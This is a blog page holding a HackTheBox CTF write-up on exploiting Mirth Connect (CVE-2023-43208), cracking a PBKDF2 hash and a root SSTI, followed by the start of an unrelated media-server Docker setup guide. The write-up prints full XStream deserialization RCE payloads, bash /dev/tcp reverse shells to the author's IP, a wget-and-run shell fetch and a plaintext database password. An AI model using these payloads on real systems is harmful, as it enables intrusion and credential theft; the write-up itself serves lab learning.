what the machine was running:\nnmap -sC -sV -vv -oA interpreter/nmap 10.129.10.86 Only three ports were open, one of which was SSH. The only option was to check the web server running on the other ports. I switched to a browser and opened both URLs:\nThere was a simple login form and some downloadable files from another website hosted by NextGen Healthcare, which I ignored because they were fucking massive and some quick grep commands I tried didn\u0026rsquo;t give me anything useful. I checked the default credentials that admin panels normally have like admin:admin and similar but no luck.\nA lot of easy and medium machines start by exploiting a known CVE or known vulnerability of some sort. The first thing I did after opening the web page was:\nIdentify the service/web-server running. Identify the version of the service/web-server running. Search for CVEs/known vulnerabilities. So let\u0026rsquo;s do this one by one:\nVersion Disclousure You can find it by googling the names you see in the login page. Mirth Connect by Next Gen it\u0026rsquo;s a healthcare integration engine used to route, manage and manage clinical message as it seems. Normally you can ask your LLM of choice, browse it or just go looking through the website. I went to check if my boy GPT was not hallucinating and for my surprise it worked, besides the first requests were the server was complaining about a missing header X-Requested-With. Once i added it with some random numbers, the server returned its version:\nHere are the commands:\ncurl -k https://10.129.10.86:443/api/server/version curl -k https://10.129.10.86:443/api/server/version -H \u0026#39;X-Requested-With: \u0026#39; curl -k https://10.129.10.86:443/api/server/version -H \u0026#39;X-Requested-With: 123\u0026#39; For the third step now with the server version, I googled around a bit until I found some interesting results that were worth to look:\nFoothold CVE-2023-43208: Pre-Auth RCE At first I was a bit reluctant if this CVE was worth trying because, well, a RCE this easy? I really doubted it would work, I thought it was not the intended way and the author\u0026rsquo;s machine probably patched it before the release. Well, I was wrong and now i\u0026rsquo;m glad trusted the first resulted instead of spend more time searching useless vulnerabilities hahaha\nI went through the technical details of the CVE first and you should too, it\u0026rsquo;s always good to know what caused the vulnerability in the first place, it will give you a good idea of what is wrong if it happens to fail (Don\u0026rsquo;t just copy the POC and ran you dummy), read more about the CVE here: Horizon3 post about CVE-2023-43208.\nAfter the reading, I tried to use the author\u0026rsquo;s POC with a simple bash reverse shell as command, it didn\u0026rsquo;t work\u0026hellip;.the issue was not the POC or the CVE, but me and my computer (ble). Since it might help some people with the same problem as me, i\u0026rsquo;ll write it here :)) If you don\u0026rsquo;t care, just jump or scroll down.\nSimple mistake and Workarounds The problem was: WAF blocking inbouding connections, it seems so simple and easy to spot, right? But it was not. Recently I migrate from ArchLinux to NixOS, a full-declarative system. This was my first HTB machine using my new operation system and it went well, I guess. A bit time consuming, learning the \u0026ldquo;nix way\u0026rdquo; of doing easy things I was used to do with one command was a pain but I managed to finish it. Nix has its own ways of doing things and can be a bit troubling to figure out what you need to do to achieve what you would do in one command in other systems, but its charm is that once you found out what you need, it will work forever and in whatever machine running nix, pretty cool right? The problem, as I said, was the WAF blocking inbouding connections and here is why it took more time than I wanted to fix it:\nPOC was not working. Request being sent and server returning 500 INTERNAL ERROR but I was receiving no callback, neither a shell or a ping. Since I was reluctant with this CVE at first, my first thought was that this was in fact not the intended way of doing the machine, it seemed to easy. I end up looking for others vulnerabilities that could give me the initial access for hours and ended up with my brain frying and no clue what to do next. What happened next was basically:\n- \u0026ldquo;hey, did you solve Interpreter?\u0026rdquo;\n- \u0026ldquo;yep, do you need help?\u0026rdquo;\n- \u0026ldquo;yeah, is the CVE-2023-43208 the correct way of doing it?\u0026rdquo;\n- \u0026ldquo;yeah\u0026rdquo;\n- \u0026ldquo;godamnit\u0026rdquo;\nWhy it was not working then? Restarted the machine and the HTB vpn a few times and keep hitting my head against the wall until I recalled that I few days earlier when I tried to use a program called LocalSend and It didn\u0026rsquo;t work because my phone could not find my computer in the network\u0026hellip;.\n\u0026ldquo;(Imagine the nerd emoji) Bu-bu-but nix is a full-declarative system and no WAF is installed or enabled in my configuration, the problem shall not be it!!\u0026rdquo;\nIt turns out, after one and a half hour later, I found that what I thought appears to untrue. I was wrong and you do need to specify which ports are allowed to receive connections in your nix configuration. If you don\u0026rsquo;t, they are blocked by default. I added the following lines in my configuration:\nnetworking.firewall.allowedTCPPorts = [ 9001 4444 8080 53317 ]; networking.firewall.allowedUDPPorts = [ 9001 4444 8080 53317 # LocalSend ]; Rebuilded the system:\nsudo nixos-rebuild switch With the firewall sorted, the exploited worked just fine. Let\u0026rsquo;s dig a bit more in the CVE details before the privsec part.\nWhat caused CVE-2023-43208? Here is quick and resumed explanation about the CVE-2023-43208 if you didn\u0026rsquo;t read the link I gave you earlier. (No, it\u0026rsquo;s not an LLM writing this rsrsrs)\nMirth Connect accepts XML input and deserializes it using XStream, a java library that converts XML to java objects. XStream allows the XML to specify which Java classes to instantiate. Java will simply trusts if XML says that it needs a specific java class. Attacker craft a malicious XML that will end up calling Runtime.exec() with a gadget chain of classes. This part is for java nerds and i\u0026rsquo;ll not dig into it. The payload provided by the blog author\u0026rsquo;s is:\n\u0026lt;sorted-set\u0026gt; \u0026lt;string\u0026gt;abcd\u0026lt;/string\u0026gt; \u0026lt;dynamic-proxy\u0026gt; \u0026lt;interface\u0026gt;java.lang.Comparable\u0026lt;/interface\u0026gt; \u0026lt;handler class=\u0026#34;org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler\u0026#34;\u0026gt; \u0026lt;target class=\u0026#34;org.apache.commons.collections4.functors.ChainedTransformer\u0026#34;\u0026gt; \u0026lt;iTransformers\u0026gt; \u0026lt;org.apache.commons.collections4.functors.ConstantTransformer\u0026gt; \u0026lt;iConstant class=\u0026#34;java-class\u0026#34;\u0026gt;java.lang.Runtime\u0026lt;/iConstant\u0026gt; \u0026lt;/org.apache.commons.collections4.functors.ConstantTransformer\u0026gt; \u0026lt;org.apache.commons.collections4.functors.InvokerTransformer\u0026gt; \u0026lt;iMethodName\u0026gt;getMethod\u0026lt;/iMethodName\u0026gt; \u0026lt;iParamTypes\u0026gt; \u0026lt;java-class\u0026gt;java.lang.String\u0026lt;/java-class\u0026gt; \u0026lt;java-class\u0026gt;[Ljava.lang.Class;\u0026lt;/java-class\u0026gt; \u0026lt;/iParamTypes\u0026gt; \u0026lt;iArgs\u0026gt; \u0026lt;string\u0026gt;getRuntime\u0026lt;/string\u0026gt; \u0026lt;java-class-array/\u0026gt; \u0026lt;/iArgs\u0026gt; \u0026lt;/org.apache.commons.collections4.functors.InvokerTransformer\u0026gt; \u0026lt;org.apache.commons.collections4.functors.InvokerTransformer\u0026gt; \u0026lt;iMethodName\u0026gt;invoke\u0026lt;/iMethodName\u0026gt; \u0026lt;iParamTypes\u0026gt; \u0026lt;java-class\u0026gt;java.lang.Object\u0026lt;/java-class\u0026gt; \u0026lt;java-class\u0026gt;[Ljava.lang.Object;\u0026lt;/java-class\u0026gt; \u0026lt;/iParamTypes\u0026gt; \u0026lt;iArgs\u0026gt; \u0026lt;null/\u0026gt; \u0026lt;object-array/\u0026gt; \u0026lt;/iArgs\u0026gt; \u0026lt;/org.apache.commons.collections4.functors.InvokerTransformer\u0026gt; \u0026lt;org.apache.commons.collections4.functors.InvokerTransformer\u0026gt; \u0026lt;iMethodName\u0026gt;exec\u0026lt;/iMethodName\u0026gt; \u0026lt;iParamTypes\u0026gt; \u0026lt;java-class\u0026gt;java.lang.String\u0026lt;/java-class\u0026gt; \u0026lt;/iParamTypes\u0026gt; \u0026lt;iArgs\u0026gt; // Command goes here \u0026lt;string\u0026gt;\u0026lt;\u0026lt;COMMAND\u0026gt;\u0026gt;\u0026lt;/string\u0026gt; // Command goes here \u0026lt;/iArgs\u0026gt; \u0026lt;/org.apache.commons.collections4.functors.InvokerTransformer\u0026gt; \u0026lt;/iTransformers\u0026gt; \u0026lt;/target\u0026gt; \u0026lt;methodName\u0026gt;transform\u0026lt;/methodName\u0026gt; \u0026lt;eventTypes\u0026gt; \u0026lt;string\u0026gt;compareTo\u0026lt;/string\u0026gt; \u0026lt;/eventTypes\u0026gt; \u0026lt;/handler\u0026gt; \u0026lt;/dynamic-proxy\u0026gt; \u0026lt;/sorted-set\u0026gt; But if you try to use it like I did and paste a simple reverse shell as a command, it will never work. Here is why: (again, i\u0026rsquo;m not a LLM)\nYour command is sent to Runtime.exec(String). This method will tokenize the string by spaces internally and sent it to execve syscall. If you try to use a reverse shell like this one\nbash -i \u0026gt;\u0026amp; /dev/tcp/x/y 0\u0026gt;\u0026amp;1 It will simple not work, because it will be tokenized or parsed to:\n[\u0026quot;bash\u0026quot;, \u0026quot;-i\u0026quot;, \u0026quot;\u0026gt;\u0026amp;\u0026quot;, \u0026quot;/dev/tcp/...\u0026quot;, \u0026quot;0\u0026gt;\u0026amp;1\u0026quot;]\nEach part of the command becomes a argument, the command will execute with the wrong syntax because bash will take /dev/tcp/... and 0\u0026gt;\u0026amp;1 as arguments to \u0026gt;\u0026amp; and \u0026gt;\u0026amp; is not a valid command, see the difference here:\nYou can see that in the first case, bash errors out with a syntax error because of the \u0026gt;\u0026amp;, which is different than the second case where bash successfully execute the command but failed to connect to 10.10.15.237 (It\u0026rsquo;s my own IP).\nAnd how do we fix that? You can either change the gadget that you\u0026rsquo;re using to allow you to use multiples arguments, like in this payload:\n\u0026lt;sorted-set\u0026gt; \u0026lt;string\u0026gt;anything\u0026lt;/string\u0026gt; \u0026lt;dynamic-proxy\u0026gt; \u0026lt;interface\u0026gt;java.lang.Comparable\u0026lt;/interface\u0026gt; \u0026lt;handler class=\u0026#34;org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler\u0026#34;\u0026gt; \u0026lt;target class=\u0026#34;org.apache.commons.collections4.functors.ChainedTransformer\u0026#34;\u0026gt; \u0026lt;iTransformers\u0026gt; \u0026lt;org.apache.commons.collections4.functors.ConstantTransformer\u0026gt; \u0026lt;iConstant class=\u0026#34;java-class\u0026#34;\u0026gt;java.lang.ProcessBuilder\u0026lt;/iConstant\u0026gt; \u0026lt;/org.apache.commons.collections4.functors.ConstantTransformer\u0026gt; \u0026lt;org.apache.commons.collections4.functors.InvokerTransformer\u0026gt; \u0026lt;iMethodName\u0026gt;getConstructor\u0026lt;/iMethodName\u0026gt; \u0026lt;iParamTypes\u0026gt; \u0026lt;java-class\u0026gt;[Ljava.lang.Class;\u0026lt;/java-class\u0026gt; \u0026lt;/iParamTypes\u0026gt; \u0026lt;iArgs\u0026gt; \u0026lt;java-class-array\u0026gt; \u0026lt;java-class\u0026gt;[Ljava.lang.String;\u0026lt;/java-class\u0026gt; \u0026lt;/java-class-array\u0026gt; \u0026lt;/iArgs\u0026gt; \u0026lt;/org.apache.commons.collections4.functors.InvokerTransformer\u0026gt; \u0026lt;org.apache.commons.collections4.functors.InvokerTransformer\u0026gt; \u0026lt;iMethodName\u0026gt;newInstance\u0026lt;/iMethodName\u0026gt; \u0026lt;iParamTypes\u0026gt; \u0026lt;java-class\u0026gt;[Ljava.lang.Object;\u0026lt;/java-class\u0026gt; \u0026lt;/iParamTypes\u0026gt; \u0026lt;iArgs\u0026gt; \u0026lt;object-array\u0026gt; \u0026lt;string-array\u0026gt; \u0026lt;string\u0026gt;bash\u0026lt;/string\u0026gt; \u0026lt;string\u0026gt;-c\u0026lt;/string\u0026gt; \u0026lt;string\u0026gt;bash -i \u0026amp;#x3e;\u0026amp;#x26; /dev/tcp/{lhost}/{lport} 0\u0026amp;#x3e;\u0026amp;#x26;1\u0026lt;/string\u0026gt; \u0026lt;/string-array\u0026gt; \u0026lt;/object-array\u0026gt; \u0026lt;/iArgs\u0026gt; \u0026lt;/org.apache.commons.collections4.functors.InvokerTransformer\u0026gt; \u0026lt;org.apache.commons.collections4.functors.InvokerTransformer\u0026gt; \u0026lt;iMethodName\u0026gt;start\u0026lt;/iMethodName\u0026gt; \u0026lt;iParamTypes/\u0026gt; \u0026lt;iArgs/\u0026gt; \u0026lt;/org.apache.commons.collections4.functors.InvokerTransformer\u0026gt; \u0026lt;/iTransformers\u0026gt; \u0026lt;/target\u0026gt; \u0026lt;methodName\u0026gt;transform\u0026lt;/methodName\u0026gt; \u0026lt;eventTypes\u0026gt; \u0026lt;string\u0026gt;compareTo\u0026lt;/string\u0026gt; \u0026lt;/eventTypes\u0026gt; \u0026lt;/handler\u0026gt; \u0026lt;/dynamic-proxy\u0026gt; \u0026lt;/sorted-set\u0026gt; This payload uses ProcessBuilder(String[]) to, first, invoke bash -c and only after that execute the reverse shell AND avoid the reverse shell command to be split in multiple arguments, it will end up all in $1 no matter how much spaces it has. Also, the payload encodes \u0026gt;/\u0026amp; and since ProcessBuilder(String[]) takes a array of strings, it uses \u0026lt;object-array\u0026gt; + \u0026lt;string-array\u0026gt; instead of a simple \u0026lt;string\u0026gt; XML entity. Too much details eh? There is a simple way of getting a shell without all of this for lazy asses like us, since the tokenizer won\u0026rsquo;t let you execute more than one command at time, you can do this:\nGetting the first shell echo \u0026#34;bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.15.237/9001 0\u0026gt;\u0026amp;1\u0026#34; \u0026gt; shell.sh python3 -m http.server 8080 # Another terminal ncat -lvnp 9001 # Another terminal ./poc.py https://10.129.10.89 -c \u0026#39;wget http://10.10.15.237:8080/shell.sh -O /tmp/shell.sh\u0026#39; ./poc.py https://10.129.10.89 -c \u0026#39;bash /tmp/shell.sh\u0026#39; Either approach is fine, the ProcessBuilder cleaner and that is probably what I would use/show in a real scenario but I mean, we\u0026rsquo;re in a CTF. Go with the easy one.\nPrivilege Escalation - User Flag Searching juicy information After getting the shell, I thought that had already conquered the user flag. But no, there is only one user in the machine and you don\u0026rsquo;t have access to his home directory.\nAfter that, I started searching through directories like /usr/var: /var/backups: /usr/local which is where I normally find leaked secrets. I ended up finding the database credentials in a configuration file at /usr/local/mirthconnect/conf:\nMysql and reverse shells If you read through the file you will also find the username and the table used by mirth. Before trying to go through the table, you should know that mysql has a interactive prompt and interactive prompts require a proper tty to work, reverse shells don\u0026rsquo;t have that. You probably tried to start mysql and received no output whatsoever, you probably thought your shell died without a reason and tried again but the same thing happened. There are two ways to fix this, you can run commands with -e or create a pseudo-tty to use mysql with interactive prompt. I prefer the second option, here is how you do that:\npython3 -c \u0026#39;import pty; pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; # Then background it and fix the terminal: Ctrl+Z stty raw -echo; fg export TERM=xterm mysql -u mirthdb -p\u0026#39;MirthPass123!\u0026#39; Inside one of the tables, I found a hashed password of the user sandric:\nCracking PBKDF2 Hash This hash is not a type I was used to, asked my dear friend Claude about it and it gave me a bit more details which helped me find exactly what I needed to crack it. Mirth 4.4 changed the hash algorithm from SHA256 to PBKDF2WithHmacSHA256. In this type of hash, you have something called iteration count or rounds, the algorithm will hash your password multiple times feeding the output back as input. You also need to specify it to hashcat in order to crack it, you can easily finding this information in Mirth page:\nThe format that hashcat needs for mode 10900 (PBKDF2-HMAC-SHA256) is:\nsha256 : 600000 : \u0026lt;salt_b64\u0026gt; : \u0026lt;hash_b64\u0026gt; ↑ algo ↑ iterations ↑ salt ↑ hash You also need to split the hash from the salt because of the format, the hash is actually stored in the database glued together with the salt and since it\u0026rsquo;s not possible to decode it and copy from your terminal since most of the output will be random bytes and won\u0026rsquo;t be printed. This simple script will do the trick, the script will decode it, separate the salt of the hash and encode it again before printing:\nimport base64 data = base64.b64decode(\u0026#34;u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==\u0026#34;) salt = data[:8] key = data[8:] print(f\u0026#34;Salt (hex): {salt.hex()}\u0026#34;) print(f\u0026#34;Hash (hex): {key.hex()}\u0026#34;) # Hashcat format: sha256:iterations:base64(salt):base64(hash) import base64 print(f\u0026#34;sha256:600000:{base64.b64encode(salt).decode()}:{base64.b64encode(key).decode()}\u0026#34;) For the word list, just use rockyou.txt. In all the machines I did, if you really need to crack a hash or brute force something, it will be in rockyou.txt. If it\u0026rsquo;s not, it\u0026rsquo;s probably not the right way to solve it and you can go on searching another paths. I downloaded the word list, ran the script and let hashcat do the job:\nAnd the result is:\nPassword cracked and user flag achieved :)\nPrivilege Escalation - Root Flag Checking local service After logging in as sedric, the first thing I did was to check a specific file I saw earlier as mirth. When I first received the reverse-shell and was looking for ways to do the privilege escalation, I found a service running locally at 127.0.0.1:54321 using the command ss -tlnp which was pretty suspicious. The service was running as root and was responsible to run a python script located at: /usr/local/bin/notif.py. But at that time, I didn\u0026rsquo;t have enough privileges to read or write to this file and besides the server running returning 404 NOT FOUND in all my attempts to figure out what the fuck was that, I couldn\u0026rsquo;t find any clue in what to do with this service. Now, as sedric, it\u0026rsquo;s possible to read the script code muahahahha, here is the service information from systemctl\nReading the script code:\nThe machine\u0026rsquo;s author was even kind enough to create a comment to help you out:\nNotification server for added patients. This server listens for XML messages containing patient information and writes formatted notifications to files in /var/secure-health/patients/. It is designed to be run locally and only accepts requests with preformated data from MirthConnect running on the same machine. It takes data interpreted from HL7 to XML by MirthConnect and formats it using a safe templating function. Exploiting SSTI If you have done a lot of HTB machines, I bet the line using a safe templating function clicked for you as well. There is not much to do now, read the code and spot the vulnerability or ask your dear friend Claude and he will tell you where the vulnerability is and probably craft a working exploit:\nAnd there you go, all fields to SSTI because of the bad-regex that allows braces and others special characters. I tried simple payloads like {{open(\u0026quot;/root/root.txt\u0026quot;).read()}} but they didn\u0026rsquo;t work, as usual. I was tired and didn\u0026rsquo;t want to figure out why exactly it was not working so I kept changing and tempering the payload until it worked, the result was:\nMachine rooted. It was a fun machine, pretty simple and straight-forward (it\u0026rsquo;s not a bad thing), don\u0026rsquo;t really know why it has such a low rating.\nThank you for reading :) If you\u0026rsquo;ve found any errors or sections that could be explained better, feel free to email or contact me in any social media :)\nAlso, if this writeup helped you, consider giving me respect on my hackthebox profile\n","permalink":"https://blog.akmee.xyz/writeups/active/interpreter/","summary":"Interpreter, a medium level Linux machine where you exploit a known Mirth Connect RCE, crack hashes and abuse a SSTI vulnerability to reach root.","title":"Interpreter Writeup - HackTheBox"},{"content":"(I\u0026rsquo;m planning on rewriting this with more detailed sections later)\nHi!! This post is suppose to be more like a \u0026ldquo;dump\u0026rdquo; about the whole process rather than educational, so I\u0026rsquo;m sorry for the lack of the explanations :D\nThis content will contain a lot of text pasted from other guides like:\nTrash\u0026rsquo;s guides I thought there were more but I forgot, you will probably find the links through the post :D The setup will use.\nPlex Media Server and Plex Streaming, it\u0026rsquo;s where you\u0026rsquo;re gonna watch your media. Radarr to manage movies Sonarr to manage series and animes. QbitTorrent as download client. Prowlarr for indexers, that\u0026rsquo;s where the downloads come from. FlareSolver for Prowlarr, plugin to make you have access to more trackers. Zero Tier for VPN, to access your library even when you\u0026rsquo;re not home. Overseer, centralized app to search the content. Choosing where to store data wiki about docker\nConsistent and well planned paths to avoid copying data and wasting space:\nThe easiest and most important detail is to create unified path definitions across all the containers.\nIf you’re wondering why hard links aren’t working or why a simple move is taking far longer than it should, this section explains it. The paths you use on the inside matter. Because of how Docker’s volumes work, passing in two volumes such as the commonly suggested /tv, /movies, and /downloads makes them look like two different file systems, even if they are a single file system outside the container. This means hard links won’t work and instead of an instant/atomic move, a slower and more IO intensive copy+delete is used. If you have multiple download clients because you’re using torrents and usenet, having a single /downloads path means they’ll be mixed up. Because the Radarr in one container will ask the NZBGet in its own container where files are, using the same path in both means it will all just work. If you don’t, you’d need to fix it with a remote path map.\nSo pick one path layout and use it for all of them. It\u0026rsquo;s suggested to use /data, but there are other common names like /shared, /media or /dvr. Keeping this the same on the outside and inside will make your setup simpler: one path to remember or if integrating Docker and native software. For example, Synology might use /Volume1/data and unRAID might use /mnt/user/data on the outside, but /data on the inside is fine.\nIt is also important to remember that you’ll need to setup or re-configure paths in the software running inside these Docker containers. If you change the paths for your download client, you’ll need to edit its settings to match and likely update existing torrents. If you change your library path, you’ll need to change those settings in Sonarr, Radarr, Lidarr, Plex, etc.\nExamples What matters here is the general structure, not the names. You are free to pick folder names that make sense to you. And there are other ways of arranging things too. For example, you’re not likely to download and run into conflicts of identical releases between usenet and torrents, so you could put both in /data/downloads/{movies|books|music|tv} folders. Downloads don’t even have to be sorted into subfolders either, since movies, music and tv will rarely conflict.\nThis example data folder has subfolders for torrents and usenet and each of these have subfolders for tv, movie and music downloads to keep things neat. The media folder has nicely named tv, movies, books, and music subfolders. This media folder is your library and what you’d pass to Plex, Kodi, Emby, Jellyfin, etc.\nObs: Hardlinks are only deleted when all the inodes are deleted.\nThe setup will be:\ndata ├── torrents │ ├── movies │ ├── music | ├── books │ └── tv ├── usenet # optional │ ├── movies │ ├── music │ ├── books │ └── tv └── media ├── movies ├── music ├── books └── tv qBittorrent - Download client data └── torrents ├── movies ├── music ├── books └── tv Torrents only needs access to torrent files, so pass it -v /host/data/torrents:/data/torrents. In the torrent software settings, you’ll need to reconfigure paths and you can sort into subfolders like/data/torrents/{tv|books|movies|music}.\ndocker run -d \\ --name=qbittorrent \\ -e PUID=1000 \\ -e PGID=1000 \\ -e TZ=America/Sao_Paulo \\ -e WEBUI_PORT=8080 \\ -e TORRENTING_PORT=6881 \\ -p 8080:8080 \\ -p 6881:6881 \\ -p 6881:6881/udp \\ -v /home/akame/qbit/config:/config \\ -v /home/akame/data/torrents:/data/torrents \\ --restart=unless-stopped \\ lscr.io/linuxserver/qbittorrent:latest Get the password using:\ndocker ps -get container_id docker logs container_id You can do some configuration following: qBittorrent trash-guides but the important change here is to change the path to files downloads to /data/torrents:\nPut a seed limit of 1.0 (I dont have much space to keep the file forever) Also enable subfolders to make radarr find the movies easier. Radarr - Movie Organizer data ├── torrents │ ├── movies │ ├── music │ └── tv ├── usenet │ ├── movies │ ├── music │ └── tv └── media ├── movies ├── music └── tv Sonarr, Radarr and Lidarr get everything using -v /host/data:/data because the download folder(s) and media folder will look like and be one file system. Hard links will work and moves will be atomic, instead of copy + delete. The configuration of all of them should be similar, i will not post about them here if there is no specific change.\ndocker run -d \\ --name=radarr \\ -e PUID=1000 \\ -e PGID=1000 \\ -e TZ=America/Sao_Paulo \\ -p 7878:7878 \\ -v /home/akame/radarr/config:/config \\ -v /home/akame/data/:/data \\ --restart unless-stopped \\ lscr.io/linuxserver/radarr:latest docker run -d \\ --name=sonarr \\ -e PUID=1000 \\ -e PGID=1000 \\ -e TZ=America/Sao_Paulo \\ -p 8989:8989 \\ -v /home/akame/sonarr/config:/config \\ -v /home/akame/data/:/data \\ --restart unless-stopped \\ lscr.io/linuxserver/sonarr:latest Useful wiki if something here is missing: Wiki about Sonarr, Radarr and more\nGo to http://server_ip:7878/ and change the following settings:\nSettings \u0026gt; Media Management \u0026gt; Root Folders - Add /data/media/movies (Raddar will only manage movies) Settings \u0026gt; Media Management \u0026gt; Movie Naming \u0026gt; Enable/Disable Renaming of your movies (as opposed to leaving the names that are currently there or as they were when you downloaded them). Enable Unmonitor Deleted Movies. WARN: Make sure HardLinks are enabled. Enable Import Extra Files and add srt. Adding the qBittorent client:\nWARN: Since Radarr will only manage movies, category here needs to be \u0026ldquo;movies\u0026rdquo;, it will created a folder under /data/torrents called \u0026ldquo;movies\u0026rdquo; or whatever name you put there to download the .mkv \u0026rsquo;s there.\nAdd your client and in manage clients set Removed Completed to Yes:\nRecyclarr - Syncing configs # Download docker. # Running: sudo docker exec recyclarr recyclarr sync --preview services: recyclarr: image: ghcr.io/recyclarr/recyclarr container_name: recyclarr user: 1000:1000 volumes: - /home/akame/recyclarr/config:/config environment: - TZ=America/Sao_Paulo Paste the following config at: /home/akame/recyclarr/config/recyclarr.yml. It will create three profiles from Trash Custom Profiles:\nSonarr -\u0026gt; WEB-1080p / WEB-2160p / Anime - 1080p Remux Radarr -\u0026gt; HD WEB + Bluray / FHD WEB + Bluray # This file will create two quality profiles in radarr and sonarr, one for 4K and another for 1080p. They contain useful filters to get better torrents from prowlarr indexers. All the values and ids comes from the TrashGuides and are sync automatically. # This file will also create a profile for Animes in Sonarr. radarr: radarr_merged: base_url: http://192.168.1.100:7878/ api_key: \u0026lt;key\u0026gt; include: - template: radarr-quality-definition-movie # HD Bluray + Web - template: radarr-quality-profile-hd-bluray-web - template: radarr-custom-formats-hd-bluray-web # UHD Bluray + Web - template: radarr-quality-profile-uhd-bluray-web - template: radarr-custom-formats-uhd-bluray-web quality_profiles: - name: UHD Bluray + WEB reset_unmatched_scores: enabled: true upgrade: allowed: true until_quality: Bluray-2160p until_score: 10000 min_format_score: 0 quality_sort: top qualities: - name: Bluray-2160p - name: WEB 2160p qualities: - WEBDL-2160p - WEBRip-2160p - name: Bluray-1080p - name: WEB 1080p qualities: - WEBDL-1080p - WEBRip-1080p - name: Bluray-720p custom_formats: # Movie Versions - trash_ids: # Uncomment any of the following lines to prefer these movie versions - 570bc9ebecd92723d2d21500f4be314c # Remaster - eecf3a857724171f968a66cb5719e152 # IMAX - 9f6cbff8cfe4ebbc1bde14c7b7bec0de # IMAX Enhanced assign_scores_to: - name: HD Bluray + WEB - name: UHD Bluray + WEB # Must have to avoid shit releases - trash_ids: - cc444569854e9de0b084ab2b8b1532b2 # Black and White Editions assign_scores_to: - name: HD Bluray + WEB - name: UHD Bluray + WEB - trash_ids: # https://trash-guides.info/Radarr/radarr-setup-quality-profiles-anime/ # Avoid these formats: - ed38b889b31be83fda192888e2286d83 # BR-DISK - e6886871085226c3da1830830146846c # Generate Dynamic HDR - 90a6f9a284dff5103f6346090e6280c8 # LQ - e204b80c87be9497a8a6eaff48f72905 # LQ (Release Title) - dc98083864ea246d05a42df0d05f81cc # x265 (HD) - b8cd450cbfa689c0259a01d9e29ba3d6 # 3D - 0a3f082873eb454bde444150b70253cc # Extras - 712d74cd88bceb883ee32f773656b1f5 # Sing-Along Versions - cae4ca30163749b891686f95532519bd # AV1 assign_scores_to: - name: HD Bluray + WEB - name: UHD Bluray + WEB sonarr: sonarr_merged: base_url: http://192.168.1.100:8989/ # Update this with your Sonarr URL api_key: \u0026lt;api_key\u0026gt; # Replace with your actual Sonarr API key include: # Common quality definitions - template: sonarr-quality-definition-series - template: sonarr-quality-definition-anime # Quality profiles - template: sonarr-v4-quality-profile-anime - template: sonarr-v4-quality-profile-web-2160p - template: sonarr-v4-quality-profile-web-1080p # Custom formats with scores - template: sonarr-v4-custom-formats-anime - template: sonarr-v4-custom-formats-web-1080p - template: sonarr-v4-custom-formats-web-2160p # - template: sonarr-v4-quality-profile-web-2160p-alternative # - template: sonarr-v4-quality-profile-web-1080p-alternative # UHD Web + Bluray Configuration quality_profiles: - name: WEB-2160p # This name come from sonarr-v4-custom-formats-web-1080p reset_unmatched_scores: enabled: true upgrade: allowed: true until_quality: Bluray-2160p until_score: 10000 min_format_score: 0 quality_sort: top qualities: - name: Bluray-2160p - name: WEB 2160p qualities: - WEBDL-2160p - WEBRip-2160p - name: Bluray-1080p - name: WEB 1080p qualities: - WEBDL-1080p - WEBRip-1080p - name: Bluray-720p - name: WEB 720p qualities: - WEBDL-720p - WEBRip-720p - name: HDTV-1080p - name: HDTV-720p # HD Web + Bluray Configuration - name: WEB-1080p reset_unmatched_scores: enabled: true upgrade: allowed: true until_quality: Bluray-1080p until_score: 10000 min_format_score: 0 quality_sort: top qualities: - name: Bluray-1080p - name: WEB 1080p qualities: - WEBDL-1080p - WEBRip-1080p - name: Bluray-720p - name: WEB 720p qualities: - WEBDL-720p - WEBRip-720p - name: HDTV-1080p - name: HDTV-720p - name: Remux-1080p - Anime reset_unmatched_scores: enabled: true upgrade: allowed: true until_quality: Bluray-1080p until_score: 10000 min_format_score: 100 score_set: anime-sonarr quality_sort: top qualities: - name: Bluray-1080p qualities: - Bluray-1080p Remux - Bluray-1080p - name: WEB 1080p qualities: - WEBDL-1080p - WEBRip-1080p - HDTV-1080p - name: Bluray-720p - name: WEB 720p qualities: - WEBDL-720p - WEBRip-720p - HDTV-720p - name: Bluray-480p - name: WEB 480p qualities: - WEBDL-480p - WEBRip-480p - name: DVD - name: SDTV custom_formats: - trash_ids: # - 497c863b88e147fda2807eb8197c41b8 # TrueHD ATMOS # - a570d4a0e56a2874b64e5bfa55202a1b # FLAC # - 2f22d89048b01681dde8afe203bf2e95 # DTS X # - 3cafb66171b47f226146a0770576870f # TrueHD # - dcf3ec6938fa32445f590a4da84256cd # DTS-HD MA # - 8e109e50c0b8a8f3ef3d72a8859a8f27 # DTS-ES # - d2516a5d9a83c99d16db8305c896408f # DTS # - 417804f7f2c4308c1f4c5d380d4c4475 # ATMOS (undefined) # - 1af239278386be2919e1bcee0bde047e # DD+ ATMOS # - e7c2fcae07cbada050a0af3357491d7b # PCM # - 3131e15a62c54d35c19f2a4e596cd5b5 # DD+ # - b9f8e3251d08204868ccd5d9d4c4ab71 # Dolby Digital Plus # - 6ba9033d67b68ca3ef533d68f1ae93b5 # Dolby Digital # - 9cf44037df3289f9a47defcb2d13e2d7 # AAC LC assign_scores_to: - name: WEB-1080p - name: WEB-2160p - trash_ids: # https://trash-guides.info/Sonarr/sonarr-setup-quality-profiles/#trash-quality-profiles # Avoid these formats: - 85c61753df5da1fb2aab6f2a47426b09 # BR-DISK - 9c11cd3f07101cdba90a2d81cf0e56b4 # LQ - e2315f990da2e2cbfc9fa5b7a6fcfe48 # LQ (Release Title) - 47435ece6b99a0b477caf360e79ba0bb # x265 (HD) - fbcb31d8dabd2a319072b84fc0b7249c # Extras - 15a05bc7c1a36e2b57fd628f8977e2fc # AV1 assign_scores_to: - name: WEB-1080p - name: WEB-2160p Then use:\n# Pray to have no errors, because merging configs looked like hell. # Remember to also add language custom filters for the portuguese profiles directly in the UI docker compose run --rm recyclarr sync Prowlarr - Indexers This one is so easy, go the Prowlarr webpage and add your qbittorrent and your *rrs apps and you are done. The indexers added by prowlarr will be in sync in all apps.\ndocker run -d \\ --name=prowlarr \\ -e PUID=1000 \\ -e PGID=1000 \\ -e TZ=America/Sao_Paulo \\ -p 9696:9696 \\ -v /home/akame/prowlarr/config:/config \\ --restart unless-stopped \\ lscr.io/linuxserver/prowlarr:latest # FlareSolver docker run -d \\ --name=flaresolverr \\ -p 8191:8191 \\ -e LOG_LEVEL=info \\ --restart unless-stopped \\ 